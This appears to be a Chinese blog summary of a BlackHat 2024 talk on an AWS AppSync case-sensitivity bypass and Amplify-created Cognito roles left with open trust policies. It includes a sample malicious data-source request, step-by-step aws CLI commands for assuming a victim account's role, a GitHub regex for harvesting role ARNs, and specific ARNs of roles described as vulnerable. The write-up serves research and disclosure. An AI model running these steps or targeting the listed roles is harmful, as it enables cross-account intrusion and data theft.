目录

利用云提供商漏洞获取初始访问权限

利用云提供商漏洞获取初始访问权限

2024 年的 BlackHat 会议上一位研究员分享了名为《Kicking in the Door to the Cloud: Exploiting Cloud Provider Vulnerabilities for Initial Access》的议题,议题主要探讨了一种新型的攻击方式,称为“混淆代理人问题”(Confusing the deputy),以及如何通过这个问题对AWS账户进行攻击。

1. AppSync 漏洞

1.1. 背景

AWS AppSync 可以快速创建serverless的GraphQL和Pub/Sub API,借助单次网络调用与多个数据源(SQL、NoSQL、搜索数据、REST 端点和微型服务)交互,通过单个端点简化应用程序开发,从而安全地查询、更新或发布数据。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202409301548809.png-water_print

除了预定义的数据源和解析器,AppSync还提供了直接调用AWS API的功能,允许开发者创建与没有预定义解析器的AWS服务集成。比如,开发者可以直接配置AppSync与AWS S3存储桶进行交互。但是,为了授权AppSync执行操作,开发者需要创建一个具有所需IAM权限的角色,该角色将被AWS信任策略授权允许AppSync服务代表其执行操作。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Service": "appsync.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

具体来说,sts:AssumeRole操作用于通过角色信任关系获取临时凭证。这是一种委派权限的机制,其中一个IAM实体(通常是IAM用户或AWS服务)请求扮演(assume)另一个角色的身份,以获取该角色所拥有的权限。这种操作通常用于实现安全最小特权原则,即用户或服务只能获取完成其任务所需的最小权限。

以 S3 存储桶为例:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202409301548210.png-water_print

那么在这个过程中,存在一个有趣的问题:攻击者能否以某种方式欺骗AppSync服务,使其扮演受害者账户的某些角色并访问其资源,实现跨租户攻击?

1.2. 混淆代理人问题(Confusing the deputy)

AWS官方给出混淆代理的概念是:没有执行操作权限的实体可能会迫使更具权限的实体执行该操作。这里可简单理解为“非约束性委派”。在AWS中,跨服务委派可能会导致混淆代理问题。一个服务(调用服务)调用另一项服务(被调用服务)时,可能会发生跨服务模拟,可以操纵调用服务以使用其权限对另一个客户的资源进行操作。即权限较低的实体(攻击者)说服权限较高的实体或服务(AppSync)代表它执行某些操作。

AWS 通过验证角色的ARN(AWS 资源的唯一标识符)来防范此类攻击。在创建数据源期间,API会查看所提供的 ARN,并确定它是否在同一个AWS账户中。如果不是,API就会出错。

1
2
3
4
5
6
7
aws appsync create-data source \
> --api-id example123example123example \
> --type HTTP \
> --http-config file://http.json \
> --service-role-arn arn:aws:iam::111111111111:role/example

An error occurred (AccessDeniedException) when calling the CreateDataSource operation: Cross-Account pass role is not allowed.

通过抓包查看命令行HTTP请求流量,可以发现 ARN 是在serviceRoleArn参数中传递的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
{
  "name": "custom_data_source",
  "type": "HTTP",
  "serviceRoleArn": "arn:aws:iam::111111111111:role/example",
  "httpConfig": {
    "endpoint": "https://sts.us-east-1.amazonaws.com/",
    "authorizationConfig": {
      "authorizationType": "AWS_IAM",
      "awsIamConfig": {
        "signingRegion": "us-east-1",
        "signingServiceName": "sts"
      }
    }
  }
}

在测试ARN的验证过程时,发现API接口大小写不敏感。例如,API期望使用 httpConfig,但如果发送了 hTtPcOnFiG,也不会出错。通过这种特性,修改serviceRoleArn 大小写,即可以绕过验证,从而使得攻击者模拟不同AWS账户中角色。

如下图是使用正常serviceRoleArn情况下的请求和响应:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202409301548398.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202409301549949.png-water_print

大小写绕过:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202409301549112.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202409301549622.png-water_print

通过绕过 ARN 验证,攻击者可以创建与其它AWS账户中的角色绑定的AppSync数据源。这样,攻击者就可以与任何账户中信任 AWS AppSync服务的角色关联的任何资源进行交互。

1.3. 访问其它 AWS 账户中的资源

通过上面绕过校验的方式,就可以在自己的账户中创建指向其它AWS账户的数据源。

举个例子,假设有一家名为EventPlanners的公司,该公司专门为客户管理会议邀请。该公司有一个用于安排会议、协作和控制的GraphQL API,保证只有有权限的用户才能查看自己的会议活动。所有信息都存储在DynamoDB中。

为了允许GraphQL API与DynamoDB表交互,在受害者账户中创建了一个 IAM 角色,该角色具有以下权限:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "dynamodb:DeleteItem",
                "dynamodb:GetItem",
                "dynamodb:PutItem",
                "dynamodb:Query",
                "dynamodb:Scan",
                "dynamodb:UpdateItem"
            ],
            "Resource": [
                "arn:aws:dynamodb:us-east-1:677301038893:table/AppSyncEventTable-xrpYoWZk",
                "arn:aws:dynamodb:us-east-1:677301038893:table/AppSyncEventTable-xrpYoWZk/*"
            ]
        }
    ]
}

然后,DynamoDB Resolver会使用该角色访问数据库。由于该角色与AppSync服务之间存在信任关系,因此可以利用前述漏洞接管数据库的账户。

从攻击者的角度来看,攻击者可以通过网络钓鱼获取EventPlanners员工的信息并访问内部文档,即使攻击者没有足够权限访问生产数据库,但仍然可以看到生产AWS账户中资源的ARN。

利用该漏洞,攻击者可以通过创建自己的AppSync API和指向EventPlanners帐户中角色的数据源来入侵EventPlanners数据库:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
{
  "name": "malicioussource",
  "type": "HTTP",
  "servicerolearn": "arn:aws:iam::677301038893:role/service-role/appsync-ds-ddb-yoczrt-AppSyncEventTable-xr",
  "httpConfig": {
    "endpoint": "https://dynamodb.us-east-1.amazonaws.com/",
    "authorizationConfig": {
      "authorizationType": "AWS_IAM",
      "awsIamConfig": {
        "signingRegion": "us-east-1",
        "signingServiceName": "dynamodb"
      }
    }
  }
}

通过上面的方式,攻击者就可以像拥有数据源一样与之交互。此外,攻击者后续还可以创建一个新的解析器,并指定一个请求映射模板来调用 dynamodb:Scan:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202409301549693.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202409301549624.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202409301549436.png-water_print

现在,攻击者可以调用 API 来查看 EventPlanners 数据库的全部内容:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202409301549976.png-water_print

总结一下,攻击流程如图:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202409301549493.png-water_print

2. AWS Amplify漏洞

2.1. 背景

AWS Cognito是一项AWS服务,用于管理用户身份验证和授权,以便开发人员可以轻松地添加用户注册、登录和访问控制功能到他们的应用程序中。Amazon Cognito是以开发人员为中心且经济高效的客户身份和访问管理(CIAM)服务,它提供了可将用户规模扩展到数以百万计的安全身份存储和联合身份验证选项。

Cognito 的主要功能之一是身份池,它允许开发人员授权认证用户或匿名用户访问 AWS 资源。身份池可以为这些用户发放标准的短期STS凭证(访问密钥)。

为此,Cognito 在 AWS 账户中创建了一个角色,该角色的信任策略类似于以下内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "cognito-identity.amazonaws.com:aud": "us-east-1:00000000-aaaa-1111-bbbb-222222222222"
                },
                "ForAnyValue:StringLike": {
                    "cognito-identity.amazonaws.com:amr": "authenticated"
                }
            }
        }
    ]
}

该策略最重要的部分是Condition元素。如果没有这个条件,cognito-identity.amazonaws.com服务的信任关系就会允许任何人担任这个角色,这一点我们将在下面的章节中加以说明。

2.2. 潜在误配置1:Trust policy without a condition

潜在误配置1:不带条件的信任策略

要模拟(assume)配置了错误角色信任策略的IAM角色,首先必须能够配置Cognito服务代表攻击者模拟(assume)另一个角色,在大多数情况下,这是不可能的。举个例子,如果用户创建了一个身份池或修改了一个现有身份池,并试图在不同账户中指定一个未经身份验证的角色,你会收到以下错误信息:

1
2
3
4
5
local@host % aws cognito-identity set-identity-pool-roles \
--identity-pool-id us-east-1:11111111-aaaa-2222-bbbb-333333333333 \
--roles unauthenticated=arn:aws:iam::222222222222:role/role-in-different-aws-account

An error occurred (AccessDeniedException) when calling the SetIdentityPoolRoles operation: Cross-account pass role is not allowed.

但是,研究人员发现了一种方法,可以使用Cognito 的基本(经典)验证流程,在信任策略配置错误的情况下模拟其它角色。sts:AssumeRoleWithWebIdentity将IAM角色的ARN作为参数,允许用户在不同的AWS账户中指定易受攻击的角色。重要的是,指定属于不同 AWS 账户的角色不会返回错误。

假设攻击者能够通过在自己的账户中创建身份池,在角色信任策略配置错误的情况下模拟 IAM 角色。然后,攻击者会使用自己的身份池生成sts:AssumeRoleWithWebIdentity API 调用所需的身份令牌,并提供受害者账户中角色的 ARN。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202409301550226.png-water_print

举个例子:假如用户在一个ARN 为arn:aws:iam::111111111111:role/vulnerable_role的角色上配置了错误的角色信任策略:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity"
        }
    ]

上述配置没有设置condition元素 ,这种情况会导致任何 Cognito 身份池中的用户都可以模拟该角色,包括该当前AWS账户之外的用户,且无需进一步的身份验证或授权。攻击者可以通过自己控制的恶意账户执行以下步骤来模拟角色:

1、创建攻击者控制的 Cognito 身份池。

  • aws cognito-identity create-identity-pool --identity-pool-name attacker_id_pool --allow-classic-flow --allow-unauthenticated-identities
  • 执行命令后会返回IdentityPoolId

2、使用上一步的IdentityPoolId生成Cognito IdentityId。

  • aws cognito-identity get-id --identity-pool-id IdentityPoolId
  • 执行命令后会返回IdentityId。

3、生成 Cognito 网络身份令牌

  • aws cognito-identity get-open-id-token --identity-id IdentityId
  • 执行命令后会返回令牌。

4、使用sts:AssumeRoleWithWebIdentity 模拟受害者账户中的角色。

  • aws sts assume-role-with-web-identity --role-arn arn:aws:iam::111111111111:role/vulnerable_role --role-session-name hacked --web-identity-token token
  • 为受害者账户中的易受攻击角色生成STS临时凭据,从而控制该角色下的资源
1
2
3
4
5
6
local@host % aws sts get-caller-identity
{
    "UserId": "AROAEXAMPLEEXAMPLE123:hacked",
    "Account": "111111111111",
    "Arn": "arn:aws:sts::111111111111:assumed-role/vulnerable_role/hacked"
}

2.3. 潜在误配置2:Trust policy with an unauthenticated condition

需要注意的是,当Condition元素为空或 cognito-identity.amazonaws.com:amr 条件设置为unauthenticated时,和上面的问题具有同样的效果,不再赘述。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "ForAnyValue:StringLike": {
                    "cognito-identity.amazonaws.com:amr": "unauthenticated"
                }
            }
        }
    ]
}

2.4. 潜在误配置3:Trust policy with an authenticated condition

假设某个角色配置了需要经过验证的cognito-identity.amazonaws.com:amr条件,仍然可以绕过限制。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "ForAnyValue:StringLike": {
                    "cognito-identity.amazonaws.com:amr": "authenticated"
                }
            }
        }
    ]
}

1、验证攻击者控制的用户池:

  • aws cognito-idp initiate-auth --auth-flow USER_PASSWORD_AUTH --client-id <attacker controlled client id> --auth-parameters USERNAME=<username>,PASSWORD=<password>
  • 返回IdToken。

2、生成一个 Cognito IdentityId:

  • aws cognito-identity get-id --identity-pool-id <attacker controlled identity pool id> --logins '{"cognito-idp.us-east-1.amazonaws.com/<attacker controlled identity pool id>":"<IdToken from step 1>"}'
  • 返回IdentityId。

3、生成 Cognito 网络身份令牌:

  • aws cognito-identity get-open-id-token --identity-id <identityId from step 2> --logins '{"cognito-idp.us-east-1.amazonaws.com/<attacker controlled user pool id>":"<IdToken from step 1>"}'
  • 返回令牌。

4、使用sts:AssumeRoleWithWebIdentity模拟受害者账户中的角色。

  • aws sts assume-role-with-web-identity --role-arn arn:aws:iam::111111111111:role/vulnerable_role --role-session-name hacked --web-identity-token token

2.5. 如何寻找存在风险的角色

在前面的章节中介绍了影响Amazon Cognito使用的IAM角色的不同类型的错误配置,这些并不是Amazon Cognito中的漏洞,只是错误配置带来的风险。通过使用公开数据进行搜索,研究员发现错误配置在野的一些情况:

要模拟受害者易受攻击的角色,需要该角色的ARN,有一些方法可以实现,如:

  • 爆破已知账户 ID的 IAM角色
  • 通过唯一标识符枚举ARN
  • 利用搜索引擎搜索公开的 ARN
  • 通过正则表达式搜索GitHub代码仓中的ARN
1
/arn:aws:iam::[0-9]{12}:role\/[\/a-zA-Z0-9-_]+/ count:all archived:yes fork:yes context:global

为了测试收集到的 IAM角色是否存在漏洞,可以尝试使用前面的方法进行验证。研究员在测试过程中发现,超过90%的存在风险的角色具有相似的名称:

1
2
3
4
5
communicationclient-master-20190713239617-authRole
chatamber-20181621961321-authRole
ml-yeti-ui-dev-20191316145242-unauthRole
aerodeploy-master-132847-authRole
liveconveyance-dev-175294-unauthRole

这些角色几乎都是以authRole或unauthRole 结尾。此外,一些角色名称包含2018年的时间戳,而其他角色(可能是最近的角色)则包含六位整数,以保持命名唯一性。

在收集过程中发现了另外一个有趣结果,一些存在风险的角色属于AWS本身。在AWS Samples GitHub组织中发现了三个这样的角色:

1
2
3
arn:aws:iam::929881370398:role/amplify-awsassistant-sampledev-144248-authRole
arn:aws:iam::098305555551:role/amplify-livetranslation-dev-165918-unauthRole
arn:aws:iam::098305555551:role/amplify-livetranslation-dev-165918-authRole

在发现这些官方配置错误的角色后,那么是什么原因导致的呢?

研究人员开始搜索此类角色的位置,其中很大部分位于名为team-provider-info.json的文件中,这些文件与AWS Amplify服务有关。

Amplify旨在帮助前端和移动开发者快速构建并部署全栈应用程序,为了探究原因,研究员创建了Amplify项目,Amplify在账户中自动添加了两个IAM角色,名为:

1
2
amplify-secrestesting-dev-134733-authRole
amplify-secrestesting-dev-134733-unauthRole

现在,可以确定这些角色来自Amplify,但它们是如何配置错误的呢?

2.5.1. 方式一

默认情况下,当 Amplify 在账户中创建这些授权和未授权角色时,它们的角色信任策略如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "",
            "Effect": "Deny",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity"
        }
    ]
}

这个配置与前面提到过存在风险的配置类似,但是Effect字段被设置为Deny,这样就可以阻止其它用户模拟该角色,因此是安全的。

作为Amplify服务的一部分,用户可以在应用程序中添加身份验证组件,允许开发者添加用户注册和登录等功能。在后台Amplify将自动部署和配置 Amazon Cognito服务,该身份验证组件将使用前面为Amplify项目创建的 auth 和 unauth 角色。auth角色用于已通过 Amplify 应用程序身份验证的用户,而unauth角色用于未通过身份验证的用户。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202409301550135.png-water_print

出现这种情况时,Amplify会将auth 和 unauth 角色的信任策略配置为类似下面的内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "cognito-identity.amazonaws.com:aud": "<Cognito Identity Pool Id>"
                },
                "ForAnyValue:StringLike": {
                    "cognito-identity.amazonaws.com:amr": "<authenticated || unauthenticated>"
                }
            }
        }
    ]
}

同样,这种角色信任策略也是安全的,它强制规定哪个身份池可以用来模拟当前角色。但是,如果用户选择从Amplify应用程序中删除身份验证组件,Amplify就会删除后台的Cognito资源,并修改授权和非授权角色的角色信任策略。它将把角色信任策略修改如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity"
        }
    ]
}

这就是之前章节中提到的漏洞配置。任意用户只要从Amplify项目中移除身份验证组件,角色信任策略就会被修改为向所有人开放。云安全研究面临的一个挑战是,云提供商提供的服务通常是不透明的,它们接受输入并返回输出,用户通常无法察觉过程中的变化。

2.5.2. 方式二

在研究过程中注意到,虽然大多数存在风险的角色都采用了上述信任策略,但仍有一些角色被配置了不同的信任策略:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "",
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "ForAnyValue:StringLike": {
                    "cognito-identity.amazonaws.com:amr": "authenticated",
                }
            }
        }
    ]
}

此处cognito-identity.amazonaws.com:amr 的值可以是authenticated或者unauthenticated,并采用相同的命名惯例,以 authRole 或 unauthRole 结尾。但目前暂时无法确定是什么原因导致角色配置错误。